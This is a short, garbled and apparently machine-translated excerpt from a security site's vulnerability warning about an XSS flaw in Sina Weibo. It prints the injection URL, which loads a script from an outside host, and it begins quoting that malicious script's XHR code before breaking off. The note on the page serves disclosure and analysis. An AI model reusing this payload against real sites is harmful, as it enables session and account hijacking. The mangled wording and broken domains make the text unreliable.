Sina microblogging XSS vulnerability & XSS script content analysis-vulnerability warning-the black bar safety net

TwitterXSSvulnerability point weibo.com/pub/star/g/xyyyd%22%3e%3cscript%20src=//www.. com/images/t. js%3e%3c/script%3e? type=update TwitterXSSthe contents of the script function createXHR return window. XMLHttpRequest? new XMLHttpRequest: new ActiveXObject"Microsoft. XMLHTTP"; function getappkeyu...